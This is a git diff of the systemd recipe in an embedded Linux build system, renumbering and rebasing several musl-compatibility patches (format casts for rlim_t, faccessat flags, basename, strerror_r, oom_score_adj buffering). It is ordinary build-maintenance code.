diff --git a/meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch b/meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch
new file mode 100644
index 0000000000..ff981b8c74
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch
@@ -0,0 +1,104 @@
+From 856010e268a6aca8e5f02502457afe289bd877f1 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:12:41 +0800
+Subject: [PATCH] Use uintmax_t for handling rlim_t
+
+PRIu{32,64} is not right format to represent rlim_t type
+therefore use %ju and typecast the rlim_t variables to
+uintmax_t.
+
+Fixes portablility errors like
+
+execute.c:3446:36: error: format '%lu' expects argument of type 'long unsigned int', but argument 5 has type 'rlim_t {aka long long unsigned int}' [-Werror=format=]
+| fprintf(f, "%s%s: " RLIM_FMT "\n",
+| ^~~~~~~~
+| prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
+| ~~~~~~~~~~~~~~~~~~~~~~
+
+Upstream-Status: Denied [https://github.com/systemd/systemd/pull/7199]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+[Rebased for v241]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/format-util.h | 8 +-------
+ src/basic/rlimit-util.c | 12 ++++++------
+ src/core/execute.c | 4 ++--
+ 3 files changed, 9 insertions(+), 15 deletions(-)
+
+diff --git a/src/basic/format-util.h b/src/basic/format-util.h
+index b7e18768e3..3195ab205d 100644
+--- a/src/basic/format-util.h
++++ b/src/basic/format-util.h
+@@ -32,13 +32,7 @@ assert_cc(sizeof(gid_t) == sizeof(uint32_t));
+ # define PRI_TIMEX "li"
+ #endif
+
+-#if SIZEOF_RLIM_T == 8
+-# define RLIM_FMT "%" PRIu64
+-#elif SIZEOF_RLIM_T == 4
+-# define RLIM_FMT "%" PRIu32
+-#else
+-# error Unknown rlim_t size
+-#endif
++#define RLIM_FMT "%ju"
+
+ #if SIZEOF_DEV_T == 8
+ # define DEV_FMT "%" PRIu64
+diff --git a/src/basic/rlimit-util.c b/src/basic/rlimit-util.c
+index 23d108d5df..3e6fb438d7 100644
+--- a/src/basic/rlimit-util.c
++++ b/src/basic/rlimit-util.c
+@@ -43,7 +43,7 @@ int setrlimit_closest(int resource, const struct rlimit *rlim) {
+ fixed.rlim_max == highest.rlim_max)
+ return 0;
+
+- log_debug("Failed at setting rlimit " RLIM_FMT " for resource RLIMIT_%s. Will attempt setting value " RLIM_FMT " instead.", rlim->rlim_max, rlimit_to_string(resource), fixed.rlim_max);
++ log_debug("Failed at setting rlimit " RLIM_FMT " for resource RLIMIT_%s. Will attempt setting value " RLIM_FMT " instead.", (uintmax_t)rlim->rlim_max, rlimit_to_string(resource), (uintmax_t)fixed.rlim_max);
+
+ if (setrlimit(resource, &fixed) < 0)
+ return -errno;
+@@ -308,13 +308,13 @@ int rlimit_format(const struct rlimit *rl, char **ret) {
+ if (rl->rlim_cur >= RLIM_INFINITY && rl->rlim_max >= RLIM_INFINITY)
+ s = strdup("infinity");
+ else if (rl->rlim_cur >= RLIM_INFINITY)
+- (void) asprintf(&s, "infinity:" RLIM_FMT, rl->rlim_max);
++ (void) asprintf(&s, "infinity:" RLIM_FMT, (uintmax_t)rl->rlim_max);
+ else if (rl->rlim_max >= RLIM_INFINITY)
+- (void) asprintf(&s, RLIM_FMT ":infinity", rl->rlim_cur);
++ (void) asprintf(&s, RLIM_FMT ":infinity", (uintmax_t)rl->rlim_cur);
+ else if (rl->rlim_cur == rl->rlim_max)
+- (void) asprintf(&s, RLIM_FMT, rl->rlim_cur);
++ (void) asprintf(&s, RLIM_FMT, (uintmax_t)rl->rlim_cur);
+ else
+- (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, rl->rlim_cur, rl->rlim_max);
++ (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, (uintmax_t)rl->rlim_cur, (uintmax_t)rl->rlim_max);
+
+ if (!s)
+ return -ENOMEM;
+@@ -405,7 +405,7 @@ int rlimit_nofile_safe(void) {
+
+ rl.rlim_cur = FD_SETSIZE;
+ if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
+- return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", rl.rlim_cur);
++ return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", (uintmax_t)rl.rlim_cur);
+
+ return 1;
+ }
+diff --git a/src/core/execute.c b/src/core/execute.c
+index 515b2fe748..7693f2d9a0 100644
+--- a/src/core/execute.c
++++ b/src/core/execute.c
+@@ -5395,9 +5395,9 @@ void exec_context_dump(const ExecContext *c, FILE* f, const char *prefix) {
+ for (unsigned i = 0; i < RLIM_NLIMITS; i++)
+ if (c->rlimit[i]) {
+ fprintf(f, "%sLimit%s: " RLIM_FMT "\n",
+- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
++ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_max);
+ fprintf(f, "%sLimit%sSoft: " RLIM_FMT "\n",
+- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_cur);
++ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_cur);
+ }
+
+ if (c->ioprio_set) {
diff --git a/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch b/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch
deleted file mode 100644
index 15055161fc..0000000000
--- a/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From eed7427db98cc01db7e9b3479655d68b044bc85b Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:03:47 +0800
-Subject: [PATCH] fix missing of __register_atfork for non-glibc builds
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/process-util.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-Index: systemd-stable/src/basic/process-util.c
-===================================================================
---- systemd-stable.orig/src/basic/process-util.c
-+++ systemd-stable/src/basic/process-util.c
-@@ -18,6 +18,9 @@
- #if HAVE_VALGRIND_VALGRIND_H
- #include <valgrind/valgrind.h>
- #endif
-+#ifndef __GLIBC__
-+#include <pthread.h>
-+#endif
-
- #include "alloc-util.h"
- #include "architecture.h"
-@@ -1143,11 +1146,15 @@ void reset_cached_pid(void) {
- cached_pid = CACHED_PID_UNSET;
- }
-
-+#ifdef __GLIBC__
- /* We use glibc __register_atfork() + __dso_handle directly here, as they are not included in the glibc
- * headers. __register_atfork() is mostly equivalent to pthread_atfork(), but doesn't require us to link against
- * libpthread, as it is part of glibc anyway. */
- extern int __register_atfork(void (*prepare) (void), void (*parent) (void), void (*child) (void), void *dso_handle);
- extern void* __dso_handle _weak_;
-+#else
-+#define __register_atfork(prepare,parent,child,dso) pthread_atfork(prepare,parent,child)
-+#endif
-
- pid_t getpid_cached(void) {
- static bool installed = false;
diff --git a/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch b/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch
deleted file mode 100644
index a6fcd2f5da..0000000000
--- a/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch
+++ /dev/null
@@ -1,95 +0,0 @@
-From 4aa91347ae975051dbe4dd2f98a1f4f459f2604f Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:12:41 +0800
-Subject: [PATCH] Use uintmax_t for handling rlim_t
-
-PRIu{32,64} is not right format to represent rlim_t type
-therefore use %ju and typecast the rlim_t variables to
-uintmax_t.
-
-Fixes portablility errors like
-
-execute.c:3446:36: error: format '%lu' expects argument of type 'long unsigned int', but argument 5 has type 'rlim_t {aka long long unsigned int}' [-Werror=format=]
-| fprintf(f, "%s%s: " RLIM_FMT "\n",
-| ^~~~~~~~
-| prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
-| ~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Denied [https://github.com/systemd/systemd/pull/7199]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[Rebased for v241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/format-util.h | 8 +-------
- src/basic/rlimit-util.c | 10 +++++-----
- src/core/execute.c | 4 ++--
- 3 files changed, 8 insertions(+), 14 deletions(-)
-
-Index: systemd-stable/src/basic/format-util.h
-===================================================================
---- systemd-stable.orig/src/basic/format-util.h
-+++ systemd-stable/src/basic/format-util.h
-@@ -32,13 +32,7 @@ assert_cc(sizeof(gid_t) == sizeof(uint32
- # define PRI_TIMEX "li"
- #endif
-
--#if SIZEOF_RLIM_T == 8
--# define RLIM_FMT "%" PRIu64
--#elif SIZEOF_RLIM_T == 4
--# define RLIM_FMT "%" PRIu32
--#else
--# error Unknown rlim_t size
--#endif
-+#define RLIM_FMT "%ju"
-
- #if SIZEOF_DEV_T == 8
- # define DEV_FMT "%" PRIu64
-Index: systemd-stable/src/basic/rlimit-util.c
-===================================================================
---- systemd-stable.orig/src/basic/rlimit-util.c
-+++ systemd-stable/src/basic/rlimit-util.c
-@@ -306,13 +306,13 @@ int rlimit_format(const struct rlimit *r
- if (rl->rlim_cur >= RLIM_INFINITY && rl->rlim_max >= RLIM_INFINITY)
- s = strdup("infinity");
- else if (rl->rlim_cur >= RLIM_INFINITY)
-- (void) asprintf(&s, "infinity:" RLIM_FMT, rl->rlim_max);
-+ (void) asprintf(&s, "infinity:" RLIM_FMT, (uintmax_t)rl->rlim_max);
- else if (rl->rlim_max >= RLIM_INFINITY)
-- (void) asprintf(&s, RLIM_FMT ":infinity", rl->rlim_cur);
-+ (void) asprintf(&s, RLIM_FMT ":infinity", (uintmax_t)rl->rlim_cur);
- else if (rl->rlim_cur == rl->rlim_max)
-- (void) asprintf(&s, RLIM_FMT, rl->rlim_cur);
-+ (void) asprintf(&s, RLIM_FMT, (uintmax_t)rl->rlim_cur);
- else
-- (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, rl->rlim_cur, rl->rlim_max);
-+ (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, (uintmax_t)rl->rlim_cur, (uintmax_t)rl->rlim_max);
-
- if (!s)
- return -ENOMEM;
-@@ -403,7 +403,7 @@ int rlimit_nofile_safe(void) {
-
- rl.rlim_cur = FD_SETSIZE;
- if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
-- return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", rl.rlim_cur);
-+ return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", (uintmax_t)rl.rlim_cur);
-
- return 1;
- }
-Index: systemd-stable/src/core/execute.c
-===================================================================
---- systemd-stable.orig/src/core/execute.c
-+++ systemd-stable/src/core/execute.c
-@@ -4686,9 +4686,9 @@ void exec_context_dump(const ExecContext
- for (i = 0; i < RLIM_NLIMITS; i++)
- if (c->rlimit[i]) {
- fprintf(f, "%sLimit%s: " RLIM_FMT "\n",
-- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
-+ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_max);
- fprintf(f, "%sLimit%sSoft: " RLIM_FMT "\n",
-- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_cur);
-+ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_cur);
- }
-
- if (c->ioprio_set) {
diff --git a/meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch b/meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
new file mode 100644
index 0000000000..0ee871c92d
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
@@ -0,0 +1,39 @@
+From ad395dda5db9b1ae156be121cfc8a38960de6c55 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Wed, 28 Feb 2018 21:25:22 -0800
+Subject: [PATCH] test-sizeof.c: Disable tests for missing typedefs in musl
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/test/test-sizeof.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
+index e36bee4e8f..4403c0aa52 100644
+--- a/src/test/test-sizeof.c
++++ b/src/test/test-sizeof.c
+@@ -55,8 +55,10 @@ int main(void) {
+ info(unsigned);
+ info(long unsigned);
+ info(long long unsigned);
++#ifdef __GLIBC__
+ info(__syscall_ulong_t);
+ info(__syscall_slong_t);
++#endif
+
+ info(float);
+ info(double);
+@@ -74,7 +76,9 @@ int main(void) {
+ info(ssize_t);
+ info(time_t);
+ info(usec_t);
++#ifdef __GLIBC__
+ info(__time_t);
++#endif
+ info(pid_t);
+ info(uid_t);
+ info(gid_t);
diff --git a/meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch b/meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
new file mode 100644
index 0000000000..12a92b8739
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
@@ -0,0 +1,98 @@
+From 5d4c6b2f4b88b69b31f967371d2a6136c65dc3fd Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Tue, 10 Oct 2017 14:33:30 -0700
+Subject: [PATCH] don't pass AT_SYMLINK_NOFOLLOW flag to faccessat()
+
+Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right
+thing to do and it's not portable (not supported by musl). See:
+
+ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
+ http://www.openwall.com/lists/musl/2015/02/05/2
+
+Note that laccess() is never passing AT_EACCESS so a lot of the
+discussion in the links above doesn't apply. Note also that
+(currently) all systemd callers of laccess() pass mode as F_OK, so
+only check for existence of a file, not access permissions.
+Therefore, in this case, the only distiction between faccessat()
+with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the behaviour
+for broken symlinks; laccess() on a broken symlink will succeed with
+(flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
+
+The laccess() macros was added to systemd some time ago and it's not
+clear if or why it needs to return success for broken symlinks. Maybe
+just historical and not actually necessary or desired behaviour?
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+
+---
+ src/basic/fs-util.h | 23 +++++++++++++++++++++--
+ src/shared/base-filesystem.c | 6 +++---
+ 2 files changed, 24 insertions(+), 5 deletions(-)
+
+diff --git a/src/basic/fs-util.h b/src/basic/fs-util.h
+index 7f15b558ca..4263298cad 100644
+--- a/src/basic/fs-util.h
++++ b/src/basic/fs-util.h
+@@ -47,8 +47,27 @@ int futimens_opath(int fd, const struct timespec ts[2]);
+ int fd_warn_permissions(const char *path, int fd);
+ int stat_warn_permissions(const char *path, const struct stat *st);
+
+-#define laccess(path, mode) \
+- (faccessat(AT_FDCWD, (path), (mode), AT_SYMLINK_NOFOLLOW) < 0 ? -errno : 0)
++/*
++ Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right thing to
++ do and it's not portable (not supported by musl). See:
++
++ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
++ http://www.openwall.com/lists/musl/2015/02/05/2
++
++ Note that laccess() is never passing AT_EACCESS so a lot of the discussion in
++ the links above doesn't apply. Note also that (currently) all systemd callers
++ of laccess() pass mode as F_OK, so only check for existence of a file, not
++ access permissions. Therefore, in this case, the only distiction between
++ faccessat() with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the
++ behaviour for broken symlinks; laccess() on a broken symlink will succeed
++ with (flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
++
++ The laccess() macros was added to systemd some time ago and it's not clear if
++ or why it needs to return success for broken symlinks. Maybe just historical
++ and not actually necessary or desired behaviour?
++*/
++
++#define laccess(path, mode) faccessat(AT_FDCWD, (path), (mode), 0)
+
+ int touch_file(const char *path, bool parents, usec_t stamp, uid_t uid, gid_t gid, mode_t mode);
+ int touch(const char *path);
+diff --git a/src/shared/base-filesystem.c b/src/shared/base-filesystem.c
+index 016eb7b82a..b1967f9f2f 100644
+--- a/src/shared/base-filesystem.c
++++ b/src/shared/base-filesystem.c
+@@ -53,7 +53,7 @@ int base_filesystem_create(const char *root, uid_t uid, gid_t gid) {
+ return log_error_errno(errno, "Failed to open root file system: %m");
+
+ for (size_t i = 0; i < ELEMENTSOF(table); i++) {
+- if (faccessat(fd, table[i].dir, F_OK, AT_SYMLINK_NOFOLLOW) >= 0)
++ if (faccessat(fd, table[i].dir, F_OK, 0) >= 0)
+ continue;
+
+ if (table[i].target) {
+@@ -61,7 +61,7 @@ int base_filesystem_create(const char *root, uid_t uid, gid_t gid) {
+
+ /* check if one of the targets exists */
+ NULSTR_FOREACH(s, table[i].target) {
+- if (faccessat(fd, s, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
++ if (faccessat(fd, s, F_OK, 0) < 0)
+ continue;
+
+ /* check if a specific file exists at the target path */
+@@ -72,7 +72,7 @@ int base_filesystem_create(const char *root, uid_t uid, gid_t gid) {
+ if (!p)
+ return log_oom();
+
+- if (faccessat(fd, p, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
++ if (faccessat(fd, p, F_OK, 0) < 0)
+ continue;
+ }
+
diff --git a/meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch b/meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch
new file mode 100644
index 0000000000..bd7a0c4e8e
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch
@@ -0,0 +1,32 @@
+From 1803ea271b93370fdcf7ec497277344f1e775429 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 27 May 2018 08:36:44 -0700
+Subject: [PATCH] Define glibc compatible basename() for non-glibc systems
+
+Fixes builds with musl, even though systemd is adamant about
+using non-posix basename implementation, we have a way out
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/machine/machine-dbus.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/src/machine/machine-dbus.c b/src/machine/machine-dbus.c
+index fc22e51409..1fed07b941 100644
+--- a/src/machine/machine-dbus.c
++++ b/src/machine/machine-dbus.c
+@@ -11,6 +11,11 @@
+ #include <libgen.h>
+ #undef basename
+
++#if !defined(__GLIBC__)
++#include <string.h>
++#define basename(src) (strrchr(src,'/') ? strrchr(src,'/')+1 : src)
++#endif
++
+ #include "alloc-util.h"
+ #include "bus-common-errors.h"
+ #include "bus-get-properties.h"
diff --git a/meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch b/meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
new file mode 100644
index 0000000000..7933b9e76e
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
@@ -0,0 +1,39 @@
+From 30b08f76ea7f5c324afedf97f0867b76dac9f128 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Wed, 4 Jul 2018 15:00:44 +0800
+Subject: [PATCH] Do not disable buffering when writing to oom_score_adj
+
+On musl, disabling buffering when writing to oom_score_adj will
+cause the following error.
+
+ Failed to adjust OOM setting: Invalid argument
+
+This error appears for systemd-udevd.service and dbus.service.
+This is because kernel receives '-' instead of the whole '-900'
+if buffering is disabled.
+
+This is libc implementation specific, as glibc does not have this issue.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/basic/process-util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/basic/process-util.c b/src/basic/process-util.c
+index 2d06f9f60a..f86bd0b7dc 100644
+--- a/src/basic/process-util.c
++++ b/src/basic/process-util.c
+@@ -1606,7 +1606,7 @@ int set_oom_score_adjust(int value) {
+ sprintf(t, "%i", value);
+
+ return write_string_file("/proc/self/oom_score_adj", t,
+- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
++ WRITE_STRING_FILE_VERIFY_ON_FAILURE);
+ }
+
+ int pidfd_get_pid(int fd, pid_t *ret) {
diff --git a/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch b/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
deleted file mode 100644
index 049096d2a9..0000000000
--- a/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 62fac5e3ff0fccd329cdc49605258b6d0e573a3e Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 28 Feb 2018 21:25:22 -0800
-Subject: [PATCH] test-sizeof.c: Disable tests for missing typedefs in musl
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/test/test-sizeof.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
-index 1020e0cb3153..c65062d2562c 100644
---- a/src/test/test-sizeof.c
-+++ b/src/test/test-sizeof.c
-@@ -44,8 +44,10 @@ int main(void) {
- info(unsigned);
- info(long unsigned);
- info(long long unsigned);
-+#ifdef __GLIBC__
- info(__syscall_ulong_t);
- info(__syscall_slong_t);
-+#endif
-
- info(float);
- info(double);
-@@ -63,7 +65,9 @@ int main(void) {
- info(ssize_t);
- info(time_t);
- info(usec_t);
-+#ifdef __GLIBC__
- info(__time_t);
-+#endif
- info(pid_t);
- info(uid_t);
- info(gid_t);
diff --git a/meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch b/meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
new file mode 100644
index 0000000000..0b0d2a6431
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
@@ -0,0 +1,60 @@
+From 873202f63f9f117c6e5a98e444cc709057042979 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 10 Jul 2018 15:40:17 +0800
+Subject: [PATCH] distinguish XSI-compliant strerror_r from GNU-specifi
+ strerror_r
+
+XSI-compliant strerror_r and GNU-specifi strerror_r are different.
+
+ int strerror_r(int errnum, char *buf, size_t buflen);
+ /* XSI-compliant */
+
+ char *strerror_r(int errnum, char *buf, size_t buflen);
+ /* GNU-specific */
+
+We need to distinguish between them. Otherwise, we'll get an int value
+assigned to (char *) variable, resulting in segment fault.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/libsystemd/sd-bus/bus-error.c | 5 +++++
+ src/libsystemd/sd-journal/journal-send.c | 5 +++++
+ 2 files changed, 10 insertions(+)
+
+diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
+index 7483b46a11..c49be29e46 100644
+--- a/src/libsystemd/sd-bus/bus-error.c
++++ b/src/libsystemd/sd-bus/bus-error.c
+@@ -404,7 +404,12 @@ static void bus_error_strerror(sd_bus_error *e, int error) {
+ return;
+
+ errno = 0;
++#ifndef __GLIBC__
++ strerror_r(error, m, k);
++ x = m;
++#else
+ x = strerror_r(error, m, k);
++#endif
+ if (errno == ERANGE || strlen(x) >= k - 1) {
+ free(m);
+ k *= 2;
+diff --git a/src/libsystemd/sd-journal/journal-send.c b/src/libsystemd/sd-journal/journal-send.c
+index e8e6ad555b..8ca5271d02 100644
+--- a/src/libsystemd/sd-journal/journal-send.c
++++ b/src/libsystemd/sd-journal/journal-send.c
+@@ -348,7 +348,12 @@ static int fill_iovec_perror_and_send(const char *message, int skip, struct iove
+ char* j;
+
+ errno = 0;
++#ifndef __GLIBC__
++ strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
++ j = buffer + 8 + k;
++#else
+ j = strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
++#endif
+ if (errno == 0) {
+ char error[STRLEN("ERRNO=") + DECIMAL_STR_MAX(int) + 1];
+
diff --git a/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch b/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
deleted file mode 100644
index 0a7594c068..0000000000
--- a/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
+++ /dev/null
@@ -1,97 +0,0 @@
-From e6f871078d8d6f076c84f908fa57af15417ab87d Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 10 Oct 2017 14:33:30 -0700
-Subject: [PATCH] don't pass AT_SYMLINK_NOFOLLOW flag to faccessat()
-
-Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right
-thing to do and it's not portable (not supported by musl). See:
-
- http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
- http://www.openwall.com/lists/musl/2015/02/05/2
-
-Note that laccess() is never passing AT_EACCESS so a lot of the
-discussion in the links above doesn't apply. Note also that
-(currently) all systemd callers of laccess() pass mode as F_OK, so
-only check for existence of a file, not access permissions.
-Therefore, in this case, the only distiction between faccessat()
-with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the behaviour
-for broken symlinks; laccess() on a broken symlink will succeed with
-(flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
-
-The laccess() macros was added to systemd some time ago and it's not
-clear if or why it needs to return success for broken symlinks. Maybe
-just historical and not actually necessary or desired behaviour?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-
----
- src/basic/fs-util.h | 22 +++++++++++++++++++++-
- src/shared/base-filesystem.c | 6 +++---
- 2 files changed, 24 insertions(+), 4 deletions(-)
-
-Index: systemd-stable/src/basic/fs-util.h
-===================================================================
---- systemd-stable.orig/src/basic/fs-util.h
-+++ systemd-stable/src/basic/fs-util.h
-@@ -42,7 +42,27 @@ int fchmod_opath(int fd, mode_t m);
- int fd_warn_permissions(const char *path, int fd);
- int stat_warn_permissions(const char *path, const struct stat *st);
-
--#define laccess(path, mode) faccessat(AT_FDCWD, (path), (mode), AT_SYMLINK_NOFOLLOW)
-+/*
-+ Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right thing to
-+ do and it's not portable (not supported by musl). See:
-+
-+ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
-+ http://www.openwall.com/lists/musl/2015/02/05/2
-+
-+ Note that laccess() is never passing AT_EACCESS so a lot of the discussion in
-+ the links above doesn't apply. Note also that (currently) all systemd callers
-+ of laccess() pass mode as F_OK, so only check for existence of a file, not
-+ access permissions. Therefore, in this case, the only distiction between
-+ faccessat() with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the
-+ behaviour for broken symlinks; laccess() on a broken symlink will succeed
-+ with (flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
-+
-+ The laccess() macros was added to systemd some time ago and it's not clear if
-+ or why it needs to return success for broken symlinks. Maybe just historical
-+ and not actually necessary or desired behaviour?
-+*/
-+
-+#define laccess(path, mode) faccessat(AT_FDCWD, (path), (mode), 0)
-
- int touch_file(const char *path, bool parents, usec_t stamp, uid_t uid, gid_t gid, mode_t mode);
- int touch(const char *path);
-Index: systemd-stable/src/shared/base-filesystem.c
-===================================================================
---- systemd-stable.orig/src/shared/base-filesystem.c
-+++ systemd-stable/src/shared/base-filesystem.c
-@@ -54,7 +54,7 @@ int base_filesystem_create(const char *r
- return log_error_errno(errno, "Failed to open root file system: %m");
-
- for (i = 0; i < ELEMENTSOF(table); i ++) {
-- if (faccessat(fd, table[i].dir, F_OK, AT_SYMLINK_NOFOLLOW) >= 0)
-+ if (faccessat(fd, table[i].dir, F_OK, 0) >= 0)
- continue;
-
- if (table[i].target) {
-@@ -62,7 +62,7 @@ int base_filesystem_create(const char *r
-
- /* check if one of the targets exists */
- NULSTR_FOREACH(s, table[i].target) {
